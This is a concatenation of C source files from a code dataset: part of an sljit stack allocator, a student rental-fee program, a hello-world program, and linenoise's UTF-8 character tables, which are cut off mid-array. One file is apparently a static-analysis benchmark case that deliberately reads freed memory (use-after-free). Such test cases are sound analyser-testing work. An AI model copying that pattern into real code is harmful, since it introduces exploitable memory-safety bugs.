munmap((void*)stack->min_start, (size_t)(stack->end - stack->min_start));
SLJIT_FREE(stack, allocator_data);
}
#endif /* _WIN32 */
SLJIT_API_FUNC_ATTRIBUTE struct sljit_stack* SLJIT_FUNC sljit_allocate_stack(sljit_uw start_size, sljit_uw max_size, void *allocator_data)
{
struct sljit_stack *stack;
void *ptr;
sljit_uw page_align;
SLJIT_UNUSED_ARG(allocator_data);
if (start_size > max_size || start_size < 1)
return NULL;
stack = (struct sljit_stack*)SLJIT_MALLOC(sizeof(struct sljit_stack), allocator_data);
if (stack == NULL)
return NULL;
/* Align max_size. */
page_align = get_page_alignment();
max_size = (max_size + page_align) & ~page_align;
#ifdef _WIN32
ptr = VirtualAlloc(NULL, max_size, MEM_RESERVE, PAGE_READWRITE);
if (!ptr) {
SLJIT_FREE(stack, allocator_data);
return NULL;
}
stack->min_start = (sljit_u8 *)ptr;
stack->end = stack->min_start + max_size;
stack->start = stack->end;
if (sljit_stack_resize(stack, stack->end - start_size) == NULL) {
sljit_free_stack(stack, allocator_data);
return NULL;
}
#else /* !_WIN32 */
#ifdef MAP_ANON
ptr = mmap(NULL, max_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
#else /* !MAP_ANON */
if (SLJIT_UNLIKELY((dev_zero < 0) && open_dev_zero())) {
SLJIT_FREE(stack, allocator_data);
return NULL;
}
ptr = mmap(NULL, max_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, dev_zero, 0);
#endif /* MAP_ANON */
if (ptr == MAP_FAILED) {
SLJIT_FREE(stack, allocator_data);
return NULL;
}
stack->min_start = (sljit_u8 *)ptr;
stack->end = stack->min_start + max_size;
stack->start = stack->end - start_size;
#endif /* _WIN32 */
stack->top = stack->end;
return stack;
}
SLJIT_API_FUNC_ATTRIBUTE sljit_u8 *SLJIT_FUNC sljit_stack_resize(struct sljit_stack *stack, sljit_u8 *new_start)
{
#if defined _WIN32 || defined(POSIX_MADV_DONTNEED)
sljit_uw aligned_old_start;
sljit_uw aligned_new_start;
sljit_uw page_align;
#endif
if ((new_start < stack->min_start) || (new_start >= stack->end))
return NULL;
#ifdef _WIN32
page_align = get_page_alignment();
aligned_new_start = (sljit_uw)new_start & ~page_align;
aligned_old_start = ((sljit_uw)stack->start) & ~page_align;
if (aligned_new_start != aligned_old_start) {
if (aligned_new_start < aligned_old_start) {
if (!VirtualAlloc((void*)aligned_new_start, aligned_old_start - aligned_new_start, MEM_COMMIT, PAGE_READWRITE))
return NULL;
}
else {
if (!VirtualFree((void*)aligned_old_start, aligned_new_start - aligned_old_start, MEM_DECOMMIT))
return NULL;
}
}
#elif defined(POSIX_MADV_DONTNEED)
if (stack->start < new_start) {
page_align = get_page_alignment();
aligned_new_start = (sljit_uw)new_start & ~page_align;
aligned_old_start = ((sljit_uw)stack->start) & ~page_align;
if (aligned_new_start > aligned_old_start) {
posix_madvise((void*)aligned_old_start, aligned_new_start - aligned_old_start, POSIX_MADV_DONTNEED);
#ifdef MADV_FREE
madvise((void*)aligned_old_start, aligned_new_start - aligned_old_start, MADV_FREE);
#endif /* MADV_FREE */
}
}
#endif /* _WIN32 */
stack->start = new_start;
return new_start;
}
#endif /* SLJIT_UTIL_SIMPLE_STACK_ALLOCATION */
#endif /* SLJIT_UTIL_STACK */
|
the_stack_data/613537.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main()
{
int distance;//declaring the variables
float amount;
printf("Enter the distance :"); //user inputs
scanf("%d",&distance);
if(distance>=30) //if condition
{
amount=1500+ (distance - 30)*40;//price
}
else
{
amount=distance*50;
}
printf("Total amount : %.2f\n",amount); //Displaying the total amount
return 0;
} //End of the main function
|
the_stack_data/57950929.c | #include <stdio.h>
int main()
{
printf("Hello there my name is Anik\n");
printf("I love programming\n");
// Calculate
printf("4 + 6 = %d\n", 4 + 6);
printf("10 - 6 = %d\n", 10 - 6);
printf("10 * 4 = %d\n", 10 * 4);
printf("40 / 10 = %d\n", 40 / 10);
return 0;
}
|
the_stack_data/34513738.c | //Classification: #default/n/DAM/USV/dA/v/lc/cd
//Written by: Sergey Pomelov
//Reviewed by: Igor Eremeev
//Comment:
#include <stdio.h>
#include <malloc.h>
int main(void)
{
const int size = 64;
int *p;
int c;
p = (int*)malloc(size*sizeof(int));
if (p==NULL) {
printf("alloc error");
return 1;
}
*(p+size-1) = 1;
scanf("%d",&c);
if (c==1) {
free(p);
printf("%d",*(p+size-1));
} else {
printf("%d",*(p+size-1));
free(p);
}
return 0;
}
|
the_stack_data/32343.c | /* encoding/utf8.c -- VERSION 1.0
*
* Guerrilla line editing library against the idea that a line editing lib
* needs to be 20,000 lines of C code.
*
* You can find the latest source code at:
*
* http://github.com/antirez/linenoise
*
* Does a number of crazy assumptions that happen to be true in 99.9999% of
* the 2010 UNIX computers around.
*
* ------------------------------------------------------------------------
*
* Copyright (c) 2010-2014, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2010-2013, Pieter Noordhuis <pcnoordhuis at gmail dot com>
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _WIN32
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define UNUSED(x) (void)(x)
/* ============================ UTF8 utilities ============================== */
static unsigned long wideCharTable[][2] = { /* list in ascending order */
{ 0x1100, 0x115F },
{ 0x231A, 0x231B },
{ 0x2329, 0x232A },
{ 0x23E9, 0x23EC },
{ 0x23F0, 0x23F0 },
{ 0x23F3, 0x23F3 },
{ 0x25FD, 0x25FE },
{ 0x2614, 0x2615 },
{ 0x2648, 0x2653 },
{ 0x267F, 0x267F },
{ 0x2693, 0x2693 },
{ 0x26A1, 0x26A1 },
{ 0x26AA, 0x26AB },
{ 0x26BD, 0x26BE },
{ 0x26C4, 0x26C5 },
{ 0x26CE, 0x26CE },
{ 0x26D4, 0x26D4 },
{ 0x26EA, 0x26EA },
{ 0x26F2, 0x26F3 },
{ 0x26F5, 0x26F5 },
{ 0x26FA, 0x26FA },
{ 0x26FD, 0x26FD },
{ 0x2705, 0x2705 },
{ 0x270A, 0x270B },
{ 0x2728, 0x2728 },
{ 0x274C, 0x274C },
{ 0x274E, 0x274E },
{ 0x2753, 0x2755 },
{ 0x2757, 0x2757 },
{ 0x2795, 0x2797 },
{ 0x27B0, 0x27B0 },
{ 0x27BF, 0x27BF },
{ 0x2B1B, 0x2B1C },
{ 0x2B50, 0x2B50 },
{ 0x2B55, 0x2B55 },
{ 0x2E80, 0x2E99 },
{ 0x2E9B, 0x2EF3 },
{ 0x2F00, 0x2FD5 },
{ 0x2FF0, 0x2FFB },
{ 0x3001, 0x303E },
{ 0x3041, 0x3096 },
{ 0x3099, 0x30FF },
{ 0x3105, 0x312D },
{ 0x3131, 0x318E },
{ 0x3190, 0x31BA },
{ 0x31C0, 0x31E3 },
{ 0x31F0, 0x321E },
{ 0x3220, 0x3247 },
{ 0x3250, 0x32FE },
{ 0x3300, 0x4DBF },
{ 0x4E00, 0xA48C },
{ 0xA490, 0xA4C6 },
{ 0xA960, 0xA97C },
{ 0xAC00, 0xD7A3 },
{ 0xF900, 0xFAFF },
{ 0xFE10, 0xFE19 },
{ 0xFE30, 0xFE52 },
{ 0xFE54, 0xFE66 },
{ 0xFE68, 0xFE6B },
{ 0x16FE0, 0x16FE0 },
{ 0x17000, 0x187EC },
{ 0x18800, 0x18AF2 },
{ 0x1B000, 0x1B001 },
{ 0x1F004, 0x1F004 },
{ 0x1F0CF, 0x1F0CF },
{ 0x1F18E, 0x1F18E },
{ 0x1F191, 0x1F19A },
{ 0x1F200, 0x1F202 },
{ 0x1F210, 0x1F23B },
{ 0x1F240, 0x1F248 },
{ 0x1F250, 0x1F251 },
{ 0x1F300, 0x1F320 },
{ 0x1F32D, 0x1F335 },
{ 0x1F337, 0x1F37C },
{ 0x1F37E, 0x1F393 },
{ 0x1F3A0, 0x1F3CA },
{ 0x1F3CF, 0x1F3D3 },
{ 0x1F3E0, 0x1F3F0 },
{ 0x1F3F4, 0x1F3F4 },
{ 0x1F3F8, 0x1F43E },
{ 0x1F440, 0x1F440 },
{ 0x1F442, 0x1F4FC },
{ 0x1F4FF, 0x1F53D },
{ 0x1F54B, 0x1F54E },
{ 0x1F550, 0x1F567 },
{ 0x1F57A, 0x1F57A },
{ 0x1F595, 0x1F596 },
{ 0x1F5A4, 0x1F5A4 },
{ 0x1F5FB, 0x1F64F },
{ 0x1F680, 0x1F6C5 },
{ 0x1F6CC, 0x1F6CC },
{ 0x1F6D0, 0x1F6D2 },
{ 0x1F6EB, 0x1F6EC },
{ 0x1F6F4, 0x1F6F6 },
{ 0x1F910, 0x1F91E },
{ 0x1F920, 0x1F927 },
{ 0x1F930, 0x1F930 },
{ 0x1F933, 0x1F93E },
{ 0x1F940, 0x1F94B },
{ 0x1F950, 0x1F95E },
{ 0x1F980, 0x1F991 },
{ 0x1F9C0, 0x1F9C0 },
{ 0x20000, 0x2FFFD },
{ 0x30000, 0x3FFFD },
};
static size_t wideCharTableSize = sizeof(wideCharTable) / sizeof(wideCharTable[0]);
static unsigned long combiningCharTable[] = { /* list in ascending order */
0x0300,0x0301,0x0302,0x0303,0x0304,0x0305,0x0306,0x0307,
0x0308,0x0309,0x030A,0x030B,0x030C,0x030D,0x030E,0x030F,
0x0310,0x0311,0x0312,0x0313,0x0314,0x0315,0x0316,0x0317,
0x0318,0x0319,0x031A,0x031B,0x031C,0x031D,0x031E,0x031F,
0x0320,0x0321,0x0322,0x0323,0x0324,0x0325,0x0326,0x0327,
0x0328,0x0329,0x032A,0x032B,0x032C,0x032D,0x032E,0x032F,
0x0330,0x0331,0x0332,0x0333,0x0334,0x0335,0x0336,0x0337,
0x0338,0x0339,0x033A,0x033B,0x033C,0x033D,0x033E,0x033F,
0x0340,0x0341,0x0342,0x0343,0x0344,0x0345,0x0346,0x0347,
0x0348,0x0349,0x034A,0x034B,0x034C,0x034D,0x034E,0x034F,
0x0350,0x0351,0x0352,0x0353,0x0354,0x0355,0x0356,0x0357,
0x0358,0x0359,0x035A,0x035B,0x035C,0x035D,0x035E,0x035F,
0x0360,0x0361,0x0362,0x0363,0x0364,0x0365,0x0366,0x0367,
0x0368,0x0369,0x036A,0x036B,0x036C,0x036D,0x036E,0x036F,
0x0483,0x0484,0x0485,0x0486,0x0487,0x0591,0x0592,0x0593,
0x0594,0x0595,0x0596,0x0597,0x0598,0x0599,0x059A,0x059B,
0x059C,0x059D,0x059E,0x059F,0x05A0,0x05A1,0x05A2,0x05A3,
0x05A4,0x05A5,0x05A6,0x05A7,0x05A8,0x05A9,0x05AA,0x05AB,
0x05AC,0x05AD,0x05AE,0x05AF,0x05B0,0x05B1,0x05B2,0x05B3,
0x05B4,0x05B5,0x05B6,0x05B7,0x05B8,0x05B9,0x05BA,0x05BB,
0x05BC,0x05BD,0x05BF,0x05C1,0x05C2,0x05C4,0x05C5,0x05C7,
0x0610,0x0611,0x0612,0x0613,0x0614,0x0615,0x0616,0x0617,
0x0618,0x0619,0x061A,0x064B,0x064C,0x064D,0x064E,0x064F,
0x0650,0x0651,0x0652,0x0653,0x0654,0x0655,0x0656,0x0657,
0x0658,0x0659,0x065A,0x065B,0x065C,0x065D,0x065E,0x065F,
0x0670,0x06D6,0x06D7,0x06D8,0x06D9,0x06DA,0x06DB,0x06DC,
0x06DF,0x06E0,0x06E1,0x06E2,0x06E3,0x06E4,0x06E7,0x06E8,
0x06EA,0x06EB,0x06EC,0x06ED,0x0711,0x0730,0x0731,0x0732,
0x0733,0x0734,0x0735,0x0736,0x0737,0x0738,0x0739,0x073A,
0x073B,0x073C,0x073D,0x073E,0x073F,0x0740,0x0741,0x0742,
0x0743,0x0744,0x0745,0x0746,0x0747,0x0748,0x0749,0x074A,
0x07A6,0x07A7,0x07A8,0x07A9,0x07AA,0x07AB,0x07AC,0x07AD,
0x07AE,0x07AF,0x07B0,0x07EB,0x07EC,0x07ED,0x07EE,0x07EF,
0x07F0,0x07F1,0x07F2,0x07F3,0x0816,0x0817,0x0818,0x0819,
0x081B,0x081C,0x081D,0x081E,0x081F,0x0820,0x0821,0x0822,
0x0823,0x0825,0x0826,0x0827,0x0829,0x082A,0x082B,0x082C,
0x082D,0x0859,0x085A,0x085B,0x08D4,0x08D5,0x08D6,0x08D7,
0x08D8,0x08D9,0x08DA,0x08DB,0x08DC,0x08DD,0x08DE,0x08DF,
0x08E0,0x08E1,0x08E3,0x08E4,0x08E5,0x08E6,0x08E7,0x08E8,
0x08E9,0x08EA,0x08EB,0x08EC,0x08ED,0x08EE,0x08EF,0x08F0,
0x08F1,0x08F2,0x08F3,0x08F4,0x08F5,0x08F6,0x08F7,0x08F8,
0x08F9,0x08FA,0x08FB,0x08FC,0x08FD,0x08FE,0x08FF,0x0900,
0x0901,0x0902,0x093A,0x093C,0x0941,0x0942,0x0943,0x0944,
0x0945,0x0946,0x0947,0x0948,0x094D,0x0951,0x0952,0x0953,
0x0954,0x0955,0x0956,0x0957,0x0962,0x0963,0x0981,0x09BC,
0x09C1,0x09C2,0x09C3,0x09C4,0x09CD,0x09E2,0x09E3,0x0A01,
0x0A02,0x0A3C,0x0A41,0x0A42,0x0A47,0x0A48,0x0A4B,0x0A4C,
0x0A4D,0x0A51,0x0A70,0x0A71,0x0A75,0x0A81,0x0A82,0x0ABC,
0x0AC1,0x0AC2,0x0AC3,0x0AC4,0x0AC5,0x0AC7,0x0AC8,0x0ACD,
0x0AE2,0x0AE3,0x0B01,0x0B3C,0x0B3F,0x0B41,0x0B42,0x0B43,
0x0B44,0x0B4D,0x0B56,0x0B62,0x0B63,0x0B82,0x0BC0,0x0BCD,
0x0C00,0x0C3E,0x0C3F,0x0C40,0x0C46,0x0C47,0x0C48,0x0C4A,
0x0C4B,0x0C4C,0x0C4D,0x0C55,0x0C56,0x0C62,0x0C63,0x0C81,
0x0CBC,0x0CBF,0x0CC6,0x0CCC,0x0CCD,0x0CE2,0x0CE3,0x0D01,
0x0D41,0x0D42,0x0D43,0x0D44,0x0D4D,0x0D62,0x0D63,0x0DCA,
0x0DD2,0x0DD3,0x0DD4,0x0DD6,0x0E31,0x0E34,0x0E35,0x0E36,
0x0E37,0x0E38,0x0E39,0x0E3A,0x0E47,0x0E48,0x0E49,0x0E4A,
0x0E4B,0x0E4C,0x0E4D,0x0E4E,0x0EB1,0x0EB4,0x0EB5,0x0EB6,
0x0EB7,0x0EB8,0x0EB9,0x0EBB,0x0EBC,0x0EC8,0x0EC9,0x0ECA,
0x0ECB,0x0ECC,0x0ECD,0x0F18,0x0F19,0x0F35,0x0F37,0x0F39,
0x0F71,0x0F72,0x0F73,0x0F74,0x0F75,0x0F76,0x0F77,0x0F78,
0x0F79,0x0F7A,0x0F7B,0x0F7C,0x0F7D,0x0F7E,0x0F80,0x0F81,
0x0F82,0x0F83,0x0F84,0x0F86,0x0F87,0x0F8D,0x0F8E,0x0F8F,
0x0F90,0x0F91,0x0F92,0x0F93,0x0F94,0x0F95,0x0F96,0x0F97,
0x0F99,0x0F9A,0x0F9B,0x0F9C,0x0F9D,0x0F9E,0x0F9F,0x0FA0,
0x0FA1,0x0FA2,0x0FA3,0x0FA4,0x0FA5,0x0FA6,0x0FA7,0x0FA8,
0x0FA9,0x0FAA,0x0FAB,0x0FAC,0x0FAD,0x0FAE,0x0FAF,0x0FB0,
0x0FB1,0x0FB2,0x0FB3,0x0FB4,0x0FB5,0x0FB6,0x0FB7,0x0FB8,
0x0FB9,0x0FBA,0x0FBB,0x0FBC,0x0FC6,0x102D,0x102E,0x102F,
0x1030,0x1032,0x1033,0x1034,0x1035,0x1036,0x1037,0x1039,
0x103A,0x103D,0x103E,0x1058,0x1059,0x105E,0x105F,0x1060,
0x1071,0x1072,0x1073,0x1074,0x1082,0x1085,0x1086,0x108D,
0x109D,0x135D,0x135E,0x135F,0x1712,0x1713,0x1714,0x1732,
0x1733,0x1734,0x1752,0x1753,0x1772,0x1773,0x17B4,0x17B5,
0x17B7,0x17B8,0x17B9,0x17BA,0x17BB,0x17BC,0x17BD,0x17C6,
0x17C9,0x17CA,0x17CB,0x17CC,0x17CD,0x17CE,0x17CF,0x17D0,
0x17D1,0x17D2,0x17D3,0x17DD,0x180B,0x180C,0x180D,0x1885,
0x1886,0x18A9,0x1920,0x1921,0x1922,0x1927,0x1928,0x1932,
0x1939,0x193A,0x193B,0x1A17,0x1A18,0x1A1B,0x1A56,0x1A58,
0x1A59,0x1A5A,0x1A5B,0x1A5C,0x1A5D,0x1A5E,0x1A60,0x1A62,
0x1A65,0x1A66,0x1A67,0x1A68,0x1A69,0x1A6A,0x1A6B,0x1A6C,
0x1A73,0x1A74,0x1A75,0x1A76,0x1A77,0x1A78,0x1A79,0x1A7A,
0x1A7B,0x1A7C,0x1A7F,0x1AB0,0x1AB1,0x1AB2,0x1AB3,0x1AB4,
0x1AB5,0x1AB6,0x1AB7,0x1AB8,0x1AB9,0x1ABA,0x1ABB,0x1ABC,
0x1ABD,0x1B00,0x1B01,0x1B02,0x1B03,0x1B34,0x1B36,0x1B37,
0x1B38,0x1B39,0x1B3A,0x1B3C,0x1B42,0x1B6B,0x1B6C,0x1B6D,
0x1B6E,0x1B6F,0x1B70,0x1B71,0x1B72,0x1B73,0x1B80,0x1B81,
0x1BA2,0x1BA3,0x1BA4,0x1BA5,0x1BA8,0x1BA9,0x1BAB,0x1BAC,
0x1BAD,0x1BE6,0x1BE8,0x1BE9,0x1BED,0x1BEF,0x1BF0,0x1BF1,
0x1C2C,0x1C2D,0x1C2E,0x1C2F,0x1C30,0x1C31,0x1C32,0x1C33,
0x1C36,0x1C37,0x1CD0,0x1CD1,0x1CD2,0x1CD4,0x1CD5,0x1CD6,
0x1CD7,0x1CD8,0x1CD9,0x1CDA,0x1CDB,0x1CDC,0x1CDD,0x1CDE,
0x1CDF,0x1CE0,0x1CE2,0x1CE3,0x1CE4,0x1CE5,0x1CE6,0x1CE7,
0x1CE8,0x1CED,0x1CF4,0x1CF8,0x1CF9,0x1DC0,0x1DC1,0x1DC2,
0x1DC3,0x1DC4,0x1DC5,0x1DC6,0x1DC7,0x1DC8,0x1DC9,0x1DCA,
0x1DCB,0x1DCC,0x1DCD,0x1DCE,0x1DCF,0x1DD0,0x1DD1,0x1DD2,
0x1DD3,0x1DD4,0x1DD5,0x1DD6,0x1DD7,0x1DD8,0x1DD9,0x1DDA,
0x1DDB,0x1DDC,0x1DDD,0x1DDE,0x1DDF,0x1DE0,0x1DE1,0x1DE2,
0x1DE3,0x1DE4,0x1DE5,0x1DE6,0x1DE7,0x1DE8,0x1DE9,0x1DEA,
0x1DEB,0x1DEC,0x1DED,0x1DEE,0x1DEF,0x1DF0,0x1DF1,0x1DF2,
0x1DF3,0x1DF4,0x1DF5,0x1DFB,0x1DFC,0x1DFD,0x1DFE,0x1DFF,
0x20D0,0x20D1,0x20D2,0x20D3,0x20D4,0x20D5,0x20D6,0x20D7,
0x20D8,0x20D9,0x20DA,0x20DB,0x20DC,0x20E1,0x20E5,0x20E6,
0x20E7,0x20E8,0x20E9,0x20EA,0x20EB,0x20EC,0x20ED,0x20EE,
0x20EF,0x20F0,0x2CEF,0x2CF0,0x2CF1,0x2D7F,0x2DE0,0x2DE1,
0x2DE2,0x2DE3,0x2DE4,0x2DE5,0x2DE6,0x2DE7,0x2DE8,0x2DE9,
0x2DEA,0x2DEB,0x2DEC,0x2DED,0x2DEE,0x2DEF,0x2DF0,0x2DF1,
0x2DF2,0x2DF3,0x2DF4,0x2DF5,0x2DF6,0x2DF7,0x2DF8,0x2DF9,
0x2DFA,0x2DFB,0x2DFC,0x2DFD,0x2DFE,0x2DFF,0x302A,0x302B,
0x302C,0x302D,0x3099,0x309A,0xA66F,0xA674,0xA675,0xA676,
0xA677,0xA678,0xA679,0xA67A,0xA67B,0xA67C,0xA67D,0xA69E,
0xA69F,0xA6F0,0xA6F1,0xA802,0xA806,0xA80B,0xA825,0xA826,
0xA8C4,0xA8C5,0xA8E0,0xA8E1,0xA8E2,0xA8E3,0xA8E4,0xA8E5,
0xA8E6,0xA8E7,0xA8E8,0xA8E9,0xA8EA,0xA8EB,0xA8EC,0xA8ED,
0xA8EE,0xA8EF,0xA8F0,0xA8F1,0xA926,0xA927,0xA928,0xA929,
0xA92A,0xA92B,0xA92C,0xA92D,0xA947,0xA948,0xA949,0xA94A,
0xA94B,0xA94C,0xA94D,0xA94E,0xA94F,0xA950,0xA951,0xA980,
0xA981,0xA982,0xA9B3,0xA9B6,0xA9B7,0xA9B8,0xA9B9,0xA9BC,
0xA9E5,0xAA29,0xAA2A,0xAA2B,0xAA2C,0xAA2D,0xAA2E,0xAA31,
0xAA32,0xAA35,0xAA36,0xAA43,0xAA4C,0xAA7C,0xAAB0,0xAAB2,
0xAAB3,0xAAB4,0xAAB7,0xAAB8,0xAABE,0xAABF,0xAAC1,0xAAEC,
0xAAED,0xAAF6,0xABE5,0xABE8,0xABED,0xFB1E,0xFE00,0xFE01,
0xFE02,0xFE03,0xFE04,0xFE05,0xFE06,0xFE07,0xFE08,0xFE09,
0xFE0A,0xFE0B,0xFE0C,0xFE0D,0xFE0E,0xFE0F,0xFE20,0xFE21,
0xFE22,0xFE23,0xFE24,0xFE25,0xFE26,0xFE27,0xFE28,0xFE29,
0xFE2A,0xFE2B,0xFE2C,0xFE2D,0xFE2E,0xFE2F,
0x101FD,0x102E0,0x10376,0x10377,0x10378,0x10379,0x1037A,0x10A01,
0x10A02,0x10A03,0x10A05,0x10A06,0x10A0C,0x10A0D,0x10A0E,0x10A0F,
0x10A38,0x10A39,0x10A3A,0x10A3F,0x10AE5,0x10AE6,0x11001,0x11038,
0x11039,0x1103A,0x1103B,0x1103C,0x1103D,0x1103E,0x1103F,0x11040,
0x11041,0x11042,0x11043,0x11044,0x11045,0x11046,0x1107F,0x11080,
0x11081,0x110B3,0x110B4,0x110B5,0x110B6,0x110B9,0x110BA,0x11100,
0x11101,0x11102,0x11127,0x11128,0x11129,0x1112A,0x1112B,0x1112D,
0x1112E,0x1112F,0x11130,0x11131,0x11132,0x11133,0x11134,0x11173,
0x11180,0x11181,0x111B6,0x111B7,0x111B8,0x111B9,0x111BA,0x111BB,
0x111BC,0x111BD,0x111BE,0x111CA,0x111CB,0x111CC,0x1122F,0x11230,
0x11231,0x11234,0x11236,0x11237,0x1123E,0x112DF,0x112E3,0x112E4,
0x112E5,0x112E6,0x112E7,0x112E8,0x112E9,0x112EA,0x11300,0x11301,
0x1133C,0x11340,0x11366,0x11367,0x11368,0x11369,0x1136A,0x1136B,
0x1136C,0x11370,0x11371,0x11372,0x11373,0x11374,0x11438,0x11439,
0x1143A,0x1143B,0x1143C,0x1143D,0x1143E,0x1143F,0x11442,0x11443,
0x11444,0x11446,0x114B3,0x114B4,0x114B5,0x114B6,0x114B7,0x114B8,
0x114BA,0x114BF,0x114C0,0x114C2,0x114C3,0x115B2,0x115B3,0x115B4,
0x115B5,0x115BC,0x115BD,0x115BF,0x115C0,0x115DC,0x115DD,0x11633,
0x11634,0x11635,0x11636,0x11637,0x11638,0x11639,0x1163A,0x1163D,
0x1163F,0x11640,0x116AB,0x116AD,0x116B0,0x116B1,0x116B2,0x116B3,
0x116B4,0x116B5,0x116B7,0x1171D,0x1171E,0x1171F,0x11722,0x11723,
0x11724,0x11725,0x11727,0x11728,0x11729,0x1172A,0x1172B,0x11C30,
0x11C31,0x11C32,0x11C33,0x11C34,0x11C35,0x11C36,0x11C38,0x11C39,
0x11C3A,0x11C3B,0x11C3C,0x11C3D,0x11C3F,0x11C92,0x11C93,0x11C94,
0x11C95,0x11C96,0x11C97,0x11C98,0x11C99,0x11C9A,0x11C9B,0x11C9C,
0x11C9D,0x11C9E,0x11C9F,0x11CA0,0x11CA1,0x11CA2,0x11CA3,0x11CA4,
0x11CA5,0x11CA6,0x11CA7,0x11CAA,0x11CAB,0x11CAC,0x11CAD,0x11CAE,
0x11CAF,0x11CB0,0x11CB2,0x11CB3,0x11CB5,0x11CB6,0x16AF0,0x16AF1,
0x16AF2,0x16AF3,0x16AF4,0x16B30,0x16B31,0x16B32,0x16B33,0x16B34,
0x16B35,0x16B36,0x16F8F,0x16F90,0x16F91,0x16F92,0x1BC9D,0x1BC9E,
0x1D167,0x1D168,0x1D169,0x1D17B,0x1D17C,0x1D17D,0x1D17E,0x1D17F,
0x1D180,0x1D181,0x1D182,0x1D185,0x1D186,0x1D187,0x1D188,0x1D189,
0x1D18A,0x1D18B,0x1D1AA,0x1D1AB,0x1D1AC,0x1D1AD,0x1D242,0x1D243,
0x1D244,0x1DA00,0x1DA01,0x1DA02,0x1DA03,0x1DA04,0x1DA05,0x1DA06,
0x1DA07,0x1DA08,0x1DA09,0x1DA0A,0x1DA0B,0x1DA0C,0x1DA0D,0x1DA0E,
0x1DA0F,0x1DA10,0x1DA11,0x1DA12,0x1DA13,0x1DA14,0x1DA15,0x1DA16,
0x1DA17,0x1DA18,0x1DA19,0x1DA1A,0x1DA1B,0x1DA1C,0x1DA1D,0x1DA1E,
0x1DA1F,0x1DA20,0x1DA21,0x1DA22,0x1DA23,0x1DA24,0x1DA25,0x1DA26,
0x1DA27,0x1DA28,0x1DA29,0x1DA2A,0x1DA2B,0x1DA2C,0x1DA2D,0x1DA2E,
0x1DA2F,0x1DA30,0x1DA31,0x1DA32,0x1DA33,0x1DA34,0x1DA35,0x1DA36,
0x1DA3B,0x1DA3C,0x1DA3D,0x1DA3E,0x1DA3F,0x1DA40,0x1DA41,0x1DA42,
0x1DA43,0x1DA44,0x1DA45,0x1DA46,0x1DA47,0x1DA48,0x1DA49,0x1DA4A,
0x1DA4B,0x1DA4C,0x1DA4D,0x1DA4E,0x1DA4F,0x1DA50,0x1DA51,0x1DA52,
0x1DA53,0x1DA54,0x1DA55,0x1DA56,0x1DA57,0x1DA58,0x1DA59,0x1DA5A,
0x1DA5B,0x1DA5C,0x1DA5D,0x1DA5E,0x1DA5F,0x1DA60,0x1DA61,0x1DA62,
0x1DA63,0x1DA64,0x1DA65,0x1DA66,0x1DA67,0x1DA68,0x1DA69,0x1DA6A,
0x1DA6B,0x1DA6C,0x1DA75,0x1DA84,0x1DA9B,0x1DA9C,0x1DA9D,0x1DA9E,
0x1DA9F,0x1DAA1,0x1DAA2,0x1DAA3,0x1DAA4,0x1DAA5,0x1DAA6,0x1DAA7,
0x1DAA8,0x1DAA9,0x1DAAA,0x1DAAB,0x1DAAC,0x1DAAD,0x1DAAE,0x1DAAF,
0x1E000,0x1E001,0x1E002,0x1E003,0x1E004,0x1E005,0x1E006,0x1E008,
0x1E009,0x1E00A,0x1E00B,0x1E00C,0x1E00D,0x1E00E,0x1E00F,0x1E010,
0x1E011,0x1E012,0x1E013,0x1E014,0x1E015,0x1E016,0x1E017,0x1E018,
0x1E01B,0x1E01C,0x1E01D,0x1E01E,0x1E01F,0x1E020,0x1E021,0x1E023,
0x1E024,0x1E026,0x1E027,0x1E028,0x1E029,0x1E02A,0x1E8D0,0x1E8D1,
0x1E8D2,0x1E8D3,0x1E8D4,0x1E8D5,0x1E8D6,0x1E944,0x1E945,0x1E946,
0x1E947,0x1E948,0x1E949,0x1E94A,0xE0100,0xE0101,0xE0102,0xE0103,
0xE0104,0xE0105,0xE0106,0xE0107,0xE0108,0xE0109,0xE010A,0xE010B,
0xE010C,0xE010D,0xE010E,0xE010F,0xE0110,0xE0111,0xE0112,0xE0113,
0xE0114,0xE0115,0xE0116,0xE0117,0xE0118,0xE0119,0xE011A,0xE011B,
0xE011C,0xE011D,0xE011E,0xE011F,0xE0120,0xE0121,0xE0122,0xE0123,
0xE0124,0xE0125,0xE0126,0xE0127,0xE0128,0xE0129,0xE012A,0xE012B,
0xE012C,0xE012D,0xE012E,0xE012F,0xE0130,0xE0131,0xE0132,0xE0133,
0xE0134,0xE0135,0xE0136,0xE0137,0xE0138,0xE0139,0xE013A,0xE013B,
0xE013C,0xE013D,0xE013E,0xE013F,0xE0140,0xE0141,0xE0142,0xE0143,
0xE0144,0xE0145,0xE0146,0xE0147,0xE0148,0xE0149,0xE014A,0xE014B,
